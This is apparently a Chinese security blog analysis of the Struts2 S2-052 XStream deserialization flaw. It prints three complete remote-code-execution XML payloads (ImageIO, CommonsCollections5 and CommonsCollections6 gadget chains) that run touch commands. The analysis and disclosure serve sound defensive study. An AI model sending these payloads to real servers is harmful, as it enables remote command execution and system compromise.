0x00 漏洞介绍

Struts2 S2-052远程代码执行漏洞和以往的Struts2漏洞是不同的,S2-052利用的是Java反序列化漏洞,而不是臭名昭著的ognl。本次漏洞触发点是REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据会被默认进行反序列化,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞。

本次漏洞最精彩的地方是漏洞利用,具体参考接下来的文章。

0x01 漏洞分析

本次漏洞的成因有两部分组成,一个是 Struts2 REST插件本身没有对进入的数据进行安全检查,导致攻击者可以传入恶意的xml对象可以传入到XStream里。另一个是XStream在反序列化传入的xml造成的远程代码执行。

关键代码在org.apache.struts2.rest.ContentTypeInterceptor里

public String intercept(ActionInvocation invocation) throws Exception {
    HttpServletRequest request = ServletActionContext.getRequest();
    ContentTypeHandler handler = selector.getHandlerForRequest(request);

    Object target = invocation.getAction();
    if (target instanceof ModelDriven) {
        target = ((ModelDriven)target).getModel();
    }

    if (request.getContentLength() > 0) {
        InputStream is = request.getInputStream();
        InputStreamReader reader = new InputStreamReader(is);
        handler.toObject(reader, target);
    }
    return invocation.invoke();
}

问题出在以下两点

  1. ContentTypeHandler handler = selector.getHandlerForRequest(request);
  2. handler.toObject(reader, target);

Struts2的漏洞点本身没什么难度,这个漏洞精彩的地方是漏洞利用方面。

0x02 利用分析

本次漏洞,最开始的poc生成是利用marshalsec工具生成ImageIO的远程代码序列化对象,这个poc适用的环境是java1.8以上,这是个非常苛刻的条件。

利用的具体代码如下:

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>touch</string>
                        <string>/tmp/pwn</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

这个利用代码利用了在 Java1.8 环境下,ImageIO库的反序列化漏洞,因此利用这个poc在线网上,是很少能打到目标的。ImageIO的利用分析参考阿里大牛的分析 CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告

线上环境使用 Java 1.8 是个非常苛刻的条件,然而有没有在其他版本java的利用代码呢?答案是有的。漏洞的本质是反序列化漏洞,而反序列化工具ysoserial提供了大量的反序列化代码。通过查看marshalsec工具生成XStream的代码,发现利用下面代码再结合ysoserial工具的代码,即可生成更多的利用代码。

public class XStream extends MarshallerBase<String> implements CommonsConfiguration, Rome, CommonsBeanutils, ServiceLoader, ImageIO,
        BindingEnumeration, LazySearchEnumeration, SpringAbstractBeanFactoryPointcutAdvisor, SpringPartiallyComparableAdvisorHolder, Resin, XBean {


    @Override
    public String marshal ( Object o ) throws Exception {
        com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream();
        return xs.toXML(o);
    }

    @Override
    public Object unmarshal ( String data ) throws Exception {
        com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream();
        return xs.fromXML(data);
    }

    @Override
    public Object makeComparatorTrigger ( Object tgt, Comparator<?> cmp ) throws Exception {
        return JDKUtil.makePriorityQueue(tgt, cmp);
    }


    public static void main ( String[] args ) {
        new XStream().run(args);
    }
}

利用commons.collections系列和XStream可以生成在java1.7环境下稳定利用的poc。生成poc的利用代码如下:

反序列化后会得到 object
com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream();
String payload = xs.toXML(object);
System.out.println(payload);

具体的利用代码如下

CommonsCollections5 + XStream 的利用

<javax.management.BadAttributeValueExpException>
  <stackTrace>
    <trace>ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:85)</trace>
    <trace>ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:1)</trace>
    <trace>ysoserial.payloads.util.PayloadRunner$1.call(PayloadRunner.java:28)</trace>
    <trace>ysoserial.payloads.util.PayloadRunner$1.call(PayloadRunner.java:1)</trace>
    <trace>ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)</trace>
    <trace>ysoserial.payloads.util.PayloadRunner.run(PayloadRunner.java:21)</trace>
    <trace>ysoserial.payloads.CommonsCollections5.main(CommonsCollections5.java:101)</trace>
  </stackTrace>
  <suppressedExceptions class="java.util.Collections$UnmodifiableRandomAccessList" resolves-to="java.util.Collections$UnmodifiableList">
    <c class="list"/>
    <list reference="../c"/>
  </suppressedExceptions>
  <val class="org.apache.commons.collections.keyvalue.TiedMapEntry">
    <map class="org.apache.commons.collections.map.LazyMap" serialization="custom">
      <unserializable-parents/>
      <org.apache.commons.collections.map.LazyMap>
        <default>
          <factory class="org.apache.commons.collections.functors.ChainedTransformer">
            <iTransformers>
              <org.apache.commons.collections.functors.ConstantTransformer>
                <iConstant class="java-class">java.lang.Runtime</iConstant>
              </org.apache.commons.collections.functors.ConstantTransformer>
              <org.apache.commons.collections.functors.InvokerTransformer>
                <iMethodName>getMethod</iMethodName>
                <iParamTypes>
                  <java-class>java.lang.String</java-class>
                  <java-class>[Ljava.lang.Class;</java-class>
                </iParamTypes>
                <iArgs>
                  <string>getRuntime</string>
                  <java-class-array/>
                </iArgs>
              </org.apache.commons.collections.functors.InvokerTransformer>
              <org.apache.commons.collections.functors.InvokerTransformer>
                <iMethodName>invoke</iMethodName>
                <iParamTypes>
                  <java-class>java.lang.Object</java-class>
                  <java-class>[Ljava.lang.Object;</java-class>
                </iParamTypes>
                <iArgs>
                  <null/>
                  <object-array/>
                </iArgs>
              </org.apache.commons.collections.functors.InvokerTransformer>
              <org.apache.commons.collections.functors.InvokerTransformer>
                <iMethodName>exec</iMethodName>
                <iParamTypes>
                  <java-class>java.lang.String</java-class>
                </iParamTypes>
                <iArgs class="string-array">
                  <string>touch /tmp/jdk1111</string>
                </iArgs>
              </org.apache.commons.collections.functors.InvokerTransformer>
              <org.apache.commons.collections.functors.ConstantTransformer>
                <iConstant class="int">1</iConstant>
              </org.apache.commons.collections.functors.ConstantTransformer>
            </iTransformers>
          </factory>
        </default>
        <map/>
      </org.apache.commons.collections.map.LazyMap>
    </map>
    <key class="string">foo</key>
  </val>
</javax.management.BadAttributeValueExpException>

CommonsCollections6 + XStream 的利用

<set>
  <org.apache.commons.collections.keyvalue.TiedMapEntry>
    <map class="org.apache.commons.collections.map.LazyMap" serialization="custom">
      <unserializable-parents/>
      <org.apache.commons.collections.map.LazyMap>
        <default>
          <factory class="org.apache.commons.collections.functors.ChainedTransformer">
            <iTransformers>
              <org.apache.commons.collections.functors.ConstantTransformer>
                <iConstant class="java-class">java.lang.Runtime</iConstant>
              </org.apache.commons.collections.functors.ConstantTransformer>
              <org.apache.commons.collections.functors.InvokerTransformer>
                <iMethodName>getMethod</iMethodName>
                <iParamTypes>
                  <java-class>java.lang.String</java-class>
                  <java-class>[Ljava.lang.Class;</java-class>
                </iParamTypes>
                <iArgs>
                  <string>getRuntime</string>
                  <java-class-array/>
                </iArgs>
              </org.apache.commons.collections.functors.InvokerTransformer>
              <org.apache.commons.collections.functors.InvokerTransformer>
                <iMethodName>invoke</iMethodName>
                <iParamTypes>
                  <java-class>java.lang.Object</java-class>
                  <java-class>[Ljava.lang.Object;</java-class>
                </iParamTypes>
                <iArgs>
                  <null/>
                  <object-array/>
                </iArgs>
              </org.apache.commons.collections.functors.InvokerTransformer>
              <org.apache.commons.collections.functors.InvokerTransformer>
                <iMethodName>exec</iMethodName>
                <iParamTypes>
                  <java-class>java.lang.String</java-class>
                </iParamTypes>
                <iArgs class="string-array">
                  <string>touch /tmp/manning123</string>
                </iArgs>
              </org.apache.commons.collections.functors.InvokerTransformer>
              <org.apache.commons.collections.functors.ConstantTransformer>
                <iConstant class="int">1</iConstant>
              </org.apache.commons.collections.functors.ConstantTransformer>
            </iTransformers>
          </factory>
        </default>
        <map/>
      </org.apache.commons.collections.map.LazyMap>
    </map>
    <key class="string">foo</key>
  </org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>

利用的效果图展示

在实验中,执行的代码为:

touch /tmp/manning_s2_052

在poc打过去后,我们可以在tmp目录发现 manning_s2_052 文件

之前我在微博说利用可能达到11种,这个说法现在来看不准确,理论上marshalsec和ysoserial和SerialKillerBypassGadgetCollection的反序列化利用代码可以在本次的漏洞使用,因此本次漏洞的利用的变化是非常大的。

之前同事提出了一个观点

所有的struts2都有那个组件?,毕竟这个是依赖common-collections3组件,showcase是默认有,其它strtus2的应用有没有啊?

针对这个问题,我的看法是

strust2 默认不带这个库,不过很有可能项目中用到的其它库会依赖 collections,毕竟这个库使用量太大,所以感觉应该比 jdk8 更适用一些。

0x03 漏洞防御

由于漏洞利用变化极大,建议暂时关闭有REST插件的Struts2站点。

0x04 参考内容

https://0bin.net/paste/xI3qQXBnBFi+ZIC6#y151P6VdT9DXPOBqgQviWRECRnW6+gSuK+frvsnAfZy

http://bobao.360.cn/learning/detail/4372.html

https://github.com/mbechler/marshalsec

https://github.com/frohoff/ysoserial

https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet

https://github.com/pwntester/SerialKillerBypassGadgetCollection

https://github.com/pwntester/XStreamPOC